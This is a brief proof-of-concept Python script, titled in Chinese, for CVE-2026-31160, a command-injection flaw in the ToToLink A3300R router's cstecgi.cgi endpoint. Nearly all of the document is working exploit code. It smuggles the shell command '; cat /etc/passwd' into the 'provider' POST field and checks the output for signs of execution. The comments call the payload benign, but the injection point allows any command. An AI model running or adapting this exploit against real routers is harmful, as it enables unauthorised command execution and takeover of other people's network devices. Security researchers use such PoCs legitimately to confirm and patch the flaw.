CVE-2026-31160 ToToLink A3300R命令注入漏洞

# PoC for CVE-2026-31160 import requests def check_vulnerability(target_ip): # Target URL based on the vulnerability description url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # The 'provider' parameter is vulnerable to command injection # Payload attempts to execute a simple command (e.g., ping or cat passwd) # Note: Using a benign payload for demonstration purposes only injection_payload = "; cat /etc/passwd" # Data payload to be sent in the POST request data = { "provider": injection_payload, # Additional parameters might be required depending on the specific firmware logic "action": "test" } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending request to {target_ip}...") response = requests.post(url, data=data, headers=headers, timeout=5) # Check if the response indicates command execution # This check depends on the specific application behavior if "root:" in response.text: print("[+] Vulnerability confirmed! Command execution detected.") print(response.text[:200]) # Print partial response else: print("[-] Could not confirm vulnerability based on response.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.0.1" check_vulnerability(target)